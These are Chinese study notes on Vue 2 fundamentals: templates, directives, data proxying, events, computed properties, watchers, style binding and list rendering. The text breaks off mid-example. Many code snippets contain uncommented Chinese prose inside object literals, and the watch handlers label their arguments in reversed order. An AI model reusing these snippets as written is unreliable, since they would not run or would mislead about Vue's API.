赞
踩
Vue是一套用来动态构建用户界面的渐进式JavaScript框架
- 渐进式: Vue可以自底向上逐层的应用
- 简单应用:只需一个轻量小巧的核心库
- 复杂应用:可以引入各式各样的Vue插件
尤雨溪
- 采用组件化模式,提高代码复用率、且让代码更好维护
- 声明式编码,让编码人员无需直接操作DOM,提高开发效率。
- 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点。
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.8/vue.js"></script>
<!-- 生产环境版本,优化了尺寸和速度 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
第一个报错是因为提示下载Vue插件,便于调试,第二个报错时因为使用的是开发版本vue,文件大,并且有各种调试信息.,生产中使用生产版本的就行,当然也可以关闭这个报错信息,
<script>
Vue.config.productionTip = false;
</script>
然而并没有生效(有时候生效),原来我们刷新页面时,页面从上到下加载,先加载了vue.js文件里面的config.productionTip,而我们是后面改的所以先弹出了警告,其实我们是有改到Vue.config.productionTip的.所以可以直接改动vue.js中的代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>初始Vue</title> <!--引入vue--> <script type="text/javascript" src="../vue-dev.js"></script> <script> Vue.config.productionTip = false; </script> </head> <body> <!-- 初识Vue: 1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象; 2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法; 3.root容器里的代码被称为【Vue模板】; --> <!-- 准备好一个容器 --> <div id="demo"> <h1>Hello,尚硅谷</h1> <h1>Hello,{{name}}</h1> <h1>Hello,{{age}}</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ //el: document.getElementById('demo'), //可直接用document获取元素 el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script> </body> </html>
一个vue实例只能接管一个容器,如下代码,只对第一个容器生效
<div class="demo"> <h1>Hello,{{name}} 1</h1> </div> <div class="demo"> <h1>Hello,{{name}} 2</h1> </div> <script> //创建Vue实例,传一个参数,(参数是对象,叫做配置对象) new Vue({ el: '.demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
一个容器只能被第一个Vue实例管理,如下代码,只有第一个容器生效了
<!-- 准备好一个容器 --> <div class="demo"> <h1>Hello,{{name}},{{address}}</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '.demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷1", age: 18 } }); new Vue({ el: '.demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 address: "北京", age: 18 } });
容器和实例是一一对应的
<div id="demo"> <h1>Hello,{{name}}1</h1> </div> <div id="demo2"> <h1>Hello,{{name}}2</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷1", age: 18 } }); new Vue({ el: '#demo2', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷2", age: 18 } }); </script>
真实开发中只有一个Vue实例,并且会配合着组件一起使用;
{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
{{name}} ->原来数据
{{name.toUpperCase()}} ->大写
{{1+2}} ->3
{{Date.now()}} ->时间戳
一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
html 中包含了一些 JS 语法代码,语法分为两种,分别为:
- 插值语法(双大括号表达式)
- 指令语法(以 v-开头)
<!-- 准备好一个容器 --> <div id="demo"> <h1>插值语法</h1> <h3>你好,{{name}}</h3> <hr/> <br/> <h1>指令语法</h1> <!--加了v-bind后,后面的url当做js表达式执行, v-bind可以简写为 : --> <a v-bind:href="url" :x="hello">点我到百度</a> <a v-bind:href="url.toUpperCase()" :x="hello">大写:{{school.name}}</a> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", url: "https://baidu.com", hello: "world", school:{ name:"北京大学" } } }); </script>
功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是拿v-bind举个例子。
<!-- Vue中有2种数据绑定的方式: 1.单向绑定(v-bind):数据只能从data流向页面。 2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。 备注: 1.双向绑定一般都应用在表单类元素上(如:input、select等) 2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。 --> <!-- 准备好一个容器 --> <div id="demo"> <p><span>单向数据绑定:</span><input type="text" :value="name"></p> <p><span>双向数据绑定:</span><input type="text" v-model:value="name"></p> <!--v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。--> <p><span>双向数据绑定:</span><input type="text" v-model="name"></p> <h1 v-bind:x="name">dd</h1> <!--如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上--> <!--<h1 v-model:x="name">dd</h1>--> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm=new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
//el的两种写法
var vm = new Vue({
//el: '#demo',//第一种写法
data: {
name: "123",
age: 18
}
});
vm.$mount("#demo");//可以代替el绑定 //第二种写法 */
var vm = new Vue({ el: '#demo', //data的第一种写法:对象式 //data: { // name: "123", // age: 18 //} //data的第二种写法:函数式 //data: function () { // console.log('@@@', this) //此处的this是Vue实例对象 // return { // name: '1234', // age: 18 // } //} //data的第二种写法:函数式,一般简写 data() { console.log('@@@', this) //此处的this是Vue实例对象 return { name: '1234', age: 18 } } });
对象中有函数时简写形式可以参考:
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Object_initializer#Method_definitions
MVVM模型
1. M:模型(Model) :data中的数据
2. V:视图(View) :模板代码
3. VM:视图模型(ViewModel):Vue实例
1.data中所有的属性,最后都出现在了vm身上。
2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
var person= {
name: "张三",
sex: "男"
}
Object.defineProperty(person,"age",{
value:19
})
console.log(person);
console.log(Object.keys(person));//提取对象的所有属性,变成一个数组.
颜色不一样,age不可以被枚举,不参与遍历
可以开启属性枚举
Object.defineProperty(person,"age",{
value:19,
enumerable:true//控制属性是否可以枚举,默认值为false
})
var person= {
name: "张三",
sex: "男"
}
Object.defineProperty(person,"age",{
value:19,
enumerable:true//控制属性是否可以枚举,默认值为false
})
console.log(person);
console.log(Object.keys(person));
属性不可修改
Object.defineProperty(person,"age",{
value:19,
enumerable:true,//控制属性是否可以枚举,默认值为false
writable:true // writable:true, //控制属性是否可以被修改,默认值是false
})
可以开启修改
var person= {
name: "张三",
sex: "男"
}
Object.defineProperty(person,"age",{
value:19,
enumerable:true,//控制属性是否可以枚举,默认值为false
writable:true // writable:true, //控制属性是否可以被修改,默认值是false
})
console.log(person);
console.log(Object.keys(person));
属性不可被删除
可以配置属性
Object.defineProperty(person,"age",{
value:19,
enumerable:true,//控制属性是否可以枚举,默认值为false
writable:true, // writable:true, //控制属性是否可以被修改,默认值是false
configurable:true //控制属性是否可以被删除,默认值是false
})
可以实现动态调整值的作用,如果直接将number放入person中,即age:number,则不会根据number变化而变化.
var number="19";
var person= {
name: "张三",
sex: "男"
}
Object.defineProperty(person,"age",{
//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get: function () {
return number;
}
})
报错处理
在使用Object.defineProperty() 定义对象属性的时候,如果设置了 set 或 get, 就不能设置 writable 和 value 中的任何一个,否则就会报错如上图
set(value){
console.log('有人修改了age属性,且值是',value)
number = value
}
var number="19"; var person= { name: "张三", sex: "男" } Object.defineProperty(person,"age",{ //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值 get () { console.log("zhixing le get"); return number; }, 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值 set(value){ console.log('有人修改了age属性,且值是',value) number = value } })
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
var number="19"; var obj= { x: "张三111" } var obj2= { y: "张三222" } <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)--> Object.defineProperty(obj2,'x',{ get(){ return obj.x; }, set(v){ obj.x=v; } }) console.log(obj); console.log(obj2);
vue实例
vm中的_data就是vue实例中的data对象— 包含数据劫持(看起来也像数据代理),后续内容讲
1.Vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读/写)
2.Vue中数据代理的好处:
更加方便的操作data中的数据
3.基本原理:
通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。
<div id="demo"> <h1>Hello,{{name}}</h1> <button v-on:click="showInfo1">点我提示信息1(不传参数)</button> <button @click="showInfo2(66,$event)">点我提示信息2</button> </div> <!-- 事件的基本使用: 1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名; 2.事件的回调需要配置在methods对象中,最终会在vm上; 3.methods中配置的函数,不要用箭头函数!否则this就不是vm了; 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象; 5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参; --> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm=new Vue({ el: '#demo', data: { name: "尚硅谷", age: 18 }, methods:{ showInfo1(event) { //console.log(event.target.innerText); //console.log(this);//此处的this是vm alert("11"); }, showInfo2(number,event) { console.log(event.target.innerText); //console.log(this);//此处的this是vm alert(number); } } }); </script>
<div id="demo"> <h1>Hello,{{name}}</h1> <a v-on:click="showInfo1" :href="url">点我提示信息1(不传参数)</a> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm = new Vue({ el: '#demo', data: { name: "尚硅谷", age: 18, url: "https://baidu.com" }, methods: { showInfo1(event) { event.preventDefault();//阻止默认行为 alert("11"); } } }); </script>
<div id="demo"> <h1>Hello,{{name}}</h1> <!--<a v-on:click="showInfo1" :href="url">点我提示信息1(不传参数)</a>--> <a v-on:click.prevent="showInfo1" :href="url">点我提示信息1(不传参数)</a> </div> <!-- Vue中的事件修饰符: 1.prevent:阻止默认事件(常用); 2.stop:阻止事件冒泡(常用); 3.once:事件只触发一次(常用); 4.capture:使用事件的捕获模式; 5.self:只有event.target是当前操作的元素时才触发事件; 6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕; --> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm = new Vue({ el: '#demo', data: { name: "尚硅谷", age: 18, url: "https://baidu.com" }, methods: { showInfo1(event) { //event.preventDefault();//阻止默认行为 //alert("11"); } } }); </script>
...
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo1">
<button @click.stop="showInfo1">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
</div>
...
...
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo1">点我提示信息</button>
...
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
<div class="box3" @click="showMsg(3)">
div3
</div>
</div>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件; -->
<div class="demo1" @click.self="showInfo1">
<button @click="showInfo1">点我提示信息</button>
</div>
... <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; --> <ul @wheel.passive="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> ... //Vue对象中函数 demo(){ for (let i = 0; i < 10000; i++) { console.log('#') }//浪费时间了,导致滚动条并没有滑动,此时使用passive可以解决该问题. console.log("#"); } ...
<!-- 准备好一个容器 --> <div id="demo"> <h1>Hello,{{name}}</h1> <!--<input type="text" placeholder="按下回车提示输入:" @keyup="showInfo">--> <!--<input type="text" placeholder="按下回车提示输入:" @keyup.ctrl="showInfo"><!–和回车判断有相同的作用–>--> <input type="text" placeholder="按下回车提示输入:" @keyup.ctrl.y="showInfo"><!--只有ctrl+y时才生效.--> <!--<input type="text" placeholder="按下回车提示输入:" @keyup.13="showInfo"><!–可以使用keyCode–>--> <input type="text" placeholder="按下回车提示输入:" @keyup.huiche="showInfo"><!--自定义--> </div> <!-- 1.Vue中常用的按键别名: 回车 => enter /Enter, 以下都可以用大写 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊,必须配合keydown去使用,不然会直接切走光标) 上 => up 下 => down 左 => left 右 => right 2.Vue未提供别名的按键,可以使用按键原始的key值去绑定 (通过event.key获得),但注意要转为kebab-case(短横线命名) 3.系统修饰键(用法特殊):ctrl、alt、shift、meta (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。 (2).配合keydown使用:正常触发事件。 4.也可以使用keyCode去指定具体的按键(不推荐) 5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名 --> <script> //keyup //创建Vue实例,传一个参数,(对象,叫做配置对象) Vue.config.keyCodes.huiche=13; var vm = new Vue({ el: '#demo', data: { name: "尚硅谷", age: 18 }, methods: { showInfo(event) { //if (event.keyCode !== 13) { // //回车 // return; //} console.log(event.target.value); console.log(event.key,event.keyCode); }, } }); </script>
1.Vue中常用的按键别名:
回车 => enter /Enter, 以下都可以用大写
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用,不然会直接切走光标)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定 (通过event.key获得),但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
实现效果
<div id="demo"> 姓:<input type="text" v-model="firstName"> <hr/> 名:<input type="text" v-model="lastName"> <hr/> <!--必须得用括号,不然不是返回值,这里和事件哪里有区别,--> 姓名:<span>{{fullName()}}</span> <hr/> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 firstName: "张", lastName: "san" }, methods: { fullName() { //return "全名"; return this.firstName+this.lastName; } } });
<div id="demo"> 姓:<input type="text" v-model="firstName"> <hr/> 名:<input type="text" v-model="lastName"> <hr/> <!--必须得用括号,不然不是返回值,这里和事件哪里有区别,--> 姓名:<span>{{fullName()}}</span> 姓名:<span>{{fullName()}}</span> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 firstName: "张", lastName: "san" }, methods: { fullName() {//执行多次 console.log("调用了") return this.firstName+this.lastName; } } });
对属性重新计算,生成一个全新的属性
<div id="demo"> 姓:<input type="text" v-model="firstName"> <hr/> 名:<input type="text" v-model="lastName"> <hr/> <!--必须得用括号,不然不是返回值,这里和事件哪里有区别,--> 姓名:<span>{{fullName}}</span> <hr/> 姓名:<span>{{fullName}}</span> <hr/> 姓名:<span>{{fullName}}</span> <hr/> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm=new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 firstName: "张", lastName: "san" }, computed: { //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值 //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。 fullName: { get() {//值调用1次 console.log('get被调用了') // console.log(this) //此处的this是vm return this.firstName + '-' + this.lastName } } } });
当只考虑get,不考虑set时,才可以使用简写的形式(只读不改)
computed: {
//简写形式1,将对象改为函数
//fullName: function () {
// console.log('get被调用了');
// return this.firstName + '-' + this.lastName;
//}
//再次简写,直接省略函数,将属性直接改为函数
fullName(){
console.log('get被调用了');
return this.firstName + '-' + this.lastName;
}
}
实现功能:点击切换天气,凉爽和炎热交叉互换
<!-- 准备好一个容器 --> <div id="demo"> <h1>今天天气很:{{info}}</h1> <!--<h1>今天天气很</h1>--> <!--<button @click="changeWeather">切换天气</button>--> <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 --> <button @click="isHot = !isHot;">切换天气</button> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 isHot: true }, methods: { changeWeather() { //this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } } }); </script>
通过通过 vm 对象的$watch()或 watch 配置来监视指定的属性
当属性变化时, 回调函数自动调用, 在函数内部进行计算
//创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 isHot: true }, methods: { changeWeather() { //this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, watch: { isHot: { //handler什么时候调用?当isHot发生改变时, //不仅可以发现被改了,还可以获取修改前和修改后的值 handler(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); }, immediate: true//默认为false,初始化时,让handler调用一下. }, info: {//也可以监测计算属性 //handler什么时候调用?当isHot发生改变时, //不仅可以发现被改了,还可以获取修改前和修改后的值 handler(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); }, immediate: true//默认为false,初始化时,让handler调用一下. } } });
也可以通过$watch进行监视
vm.$watch("isHot",{
handler(oldValue, newValue) {
console.log("isHot被修改了");
console.log(oldValue, newValue);
},
immediate: true//默认为false,初始化时,让handler调用一下.
})
深度监视-deep
监视对象中的2个属性变化-- 方法一
<div id="demo"> <h3>a的值是:{{numbers.a}}</h3> <button @click="numbers.a++">点击numbers.a++</button> <hr/> <h3>b的值是:{{numbers.b}}</h3> <button @click="numbers.b++">点击numbers.ba++</button> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm = new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 numbers: { a: 1, b: 1 } }, watch: { isHot: { //handler什么时候调用?当isHot发生改变时, //不仅可以发现被改了,还可以获取修改前和修改后的值 handler(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); }, immediate: true//默认为false,初始化时,让handler调用一下. }, //必须加引号 监视多级结构中所有属性的变化 'numbers.a': { handler(){ console.log("numbers.a变化了"); } }, 'numbers.b': { handler(){ console.log("numbers.b变化了"); } } } }) ;
监视对象中的2个属性变化-- 方法二
deep:true
numbers: {
deep:true,//必须加,不然只有numbers这个对象变化时才会变动.
handler(){
console.log("numbers变化了");
}
}
简写形式
//当配置项中只有handler,无其他配置项时可以进行简写. ======================正常写法================ isHot: { handler(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); }, //immediate: true//默认为false,初始化时,让handler调用一下. } 或者 vm.$watch("isHot",{ handler(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); }, //immediate: true//默认为false,初始化时,让handler调用一下. }) ======================简写==================== isHot(oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); } 或者: vm.$watch("isHot", function (oldValue, newValue) { console.log("isHot被修改了"); console.log(oldValue, newValue); })
<style> .basic { width: 400px; height: 100px; border: 1px solid black; } .happy { border: 4px solid red;; background-color: rgba(255, 255, 0, 0.644); background: linear-gradient(30deg, yellow, pink, orange, yellow); } .sad { border: 4px dashed rgb(2, 197, 2); background-color: gray; } .normal { background-color: skyblue; } .atguigu1 { background-color: yellowgreen; } .atguigu2 { font-size: 30px; text-shadow: 2px 2px 10px red; } .atguigu3 { border-radius: 20px; } </style> ... <div id="demo"> <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定,class会叠加上去 --> <div id="div1" class="basic" :class="mood" @click="changeMood">{{name}}</div> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --> <div id="div2" class="basic" :class="arr">{{name}}</div> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 --> <div id="div3" class="basic" :class="classObj">{{name}}</div> <br/><br/> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "Hello World", mood:"normal",//会将2个class汇总,不然只会有1个class生效, arr:['atguigu1','atguigu2','atguigu3'], classObj:{ atguigu1:false, atguigu2:true, } }, methods: { changeMood() { //var div1 = document.querySelector('#div1').className='basic happy'; //this.mood='happy'; var arr=['happy','sad','normal']; var number = Math.floor(Math.random()*3);//Math.floor向下取整 this.mood=arr[number]; } } }); </script>
<div> <!-- 绑定style样式--对象写法1 --> <div id="div4" class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> <!-- 绑定style样式--对象写法2 --> <div id="div5" class="basic" :style="styleObj">{{name}}</div> <!-- 绑定style样式--数组写法 --> <div id="div6" class="basic" :style="styleArr">{{name}}</div> <br/><br/> <br/><br/> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "Hello World", mood:"normal",//会将2个class汇总,不然只会有1个class生效, arr:['atguigu1','atguigu2','atguigu3'], classObj:{ atguigu1:false, atguigu2:true, }, fsize: 60, styleObj:{ fontSize:'60px' }, styleArr:[ { fontSize: '50px', color: 'blue' }, { backgroundColor: 'gray' } ] }, methods: { changeMood() { //var div1 = document.querySelector('#div1').className='basic happy'; //this.mood='happy'; var arr=['happy','sad','normal']; var number = Math.floor(Math.random()*3);//Math.floor向下取整 this.mood=arr[number]; } } });
v-show做条件渲染
<!-- 准备好一个容器 --> <div id="demo"> <!--布尔值--> <h1 v-show="false">Hello,尚硅谷</h1> <!--表达式--> <h1 v-show="1===3">Hello,尚硅谷</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
v-if做条件渲染
<div id="demo"> <!--布尔值--> <h1 v-show="false">Hello,尚硅谷</h1> <!--表达式--> <h1 v-show="1===3">Hello,尚硅谷</h1> <!--布尔值--> <h1 v-if="true">Hello,尚硅谷</h1> <!--表达式--> <h1 v-if="1===3">Hello,尚硅谷</h1> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> <!-- v-if与template的配合使用 --> <template v-if="n === 1"> <h2>你好</h2> <h2>尚硅谷</h2> <h2>北京</h2> </template> <!--v-else和v-else-if,v-else,效率高--> <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>哈哈</div> <!-- v-if与template的配合使用,不影响结构 --> <template v-if="n === 1"> <h2>你好</h2> <h2>尚硅谷</h2> <h2>北京</h2> </template> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18, n: 0 } }); </script>
最终效果
<!-- 准备好一个容器 --> <div id="demo"> <!--遍历数组--> <ul> <!--保证key唯一--> <li v-for="person in persons" :key="person.id">{{person.name}},{{person.age}}</li> </ul> <ul> <!--a是对象,index是下标, in 和of都行 保证key唯一--> <li v-for="(a,index) in persons" :key="index" >{{a.name}},{{a.age}},{{index}}</li> </ul> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 persons: [ { id: "001", name: '张三', age: 19 }, { id: "002", name: '张三', age: 50 } ] } }); </script>
<!-- 准备好一个容器 --> <div id="demo"> <ul> <!--遍历对象--> <li v-for="(value,key) in car" :key="key" >{{value}},{{key}}</li> </ul> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 persons: [ { id: "001", name: '张三', age: 19 }, { id: "002", name: '张三', age: 50 } ], car:{ name:'奥迪A8', price:'70万', color:'黑色' } } }); </script>
... <!--遍历字符串--> <li v-for="(char,index) in str" :key="index" >{{char}},{{index}}</li> ... <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 persons: [ { id: "001", name: '张三', age: 19 }, { id: "002", name: '张三', age: 50 } ], car:{ name:'奥迪A8', price:'70万', color:'黑色' }, str:"abcde" } }); </script>
<!--遍历指定次数-->
<li v-for="(a,index) in 5" :key="index" >{{a}},{{index}}</li>
<div id="demo"> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}}--{{index}} <input type="text"> </li> </ul> <hr/> <ul> <li v-for="(p,index) of persons" :key="p.id"> {{p.name}}-{{p.age}}--{{index}} <input type="text"> </li> </ul> <button @click.once="add">添加一个老刘</button> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 persons: [ {id: '001', name: '张三', age: 18}, {id: '002', name: '李四', age: 19}, {id: '003', name: '王五', age: 20} ] }, methods: { add() { const p = {id: '004', name: '老刘', age: 40} this.persons.unshift(p)//向数组的开头添加一个或多个元素 } } }); </script>
index作为key (不写的时候,默认是index)
id作为key
<!-- 准备好一个容器 --> <div id="demo"> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of persons2" :key="p.id"> {{p.name}}-{{p.age}}--{{index}} <input type="text"> </li> </ul> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', data: { keyWord: '', persons: [ {id: '001', name: '马冬梅', age: 19, sex: '女'}, {id: '002', name: '周冬雨', age: 20, sex: '女'}, {id: '003', name: '周杰伦', age: 21, sex: '男'}, {id: '004', name: '温兆伦', age: 22, sex: '男'} ] }, //用watch实现 //watch: { // keyWord: { // handler(val) { // //filter不改变原数组 // this.persons2 = this.persons.filter((p) => { // return p.name.indexOf(val) !== -1;//''为0 // }) // }, // immediate: true // } //} //用computed实现 computed:{ persons2(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1; }) } } }); </script>
<div id="demo"> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <ul> <li v-for="(p,index) of persons2" :key="p.id"> {{p.name}}-{{p.age}}--{{index}} <input type="text"> </li> </ul> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', data: { keyWord: '', persons: [ {id: '001', name: '马冬梅', age: 19, sex: '女'}, {id: '002', name: '周冬雨', age: 20, sex: '女'}, {id: '003', name: '周杰伦', age: 21, sex: '男'}, {id: '004', name: '温兆伦', age: 22, sex: '男'} ], sortType: 0 }, //用computed实现 computed: { persons2() { return this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1; }).sort((p1, p2) => { if (this.sortType === 0) { return 0; 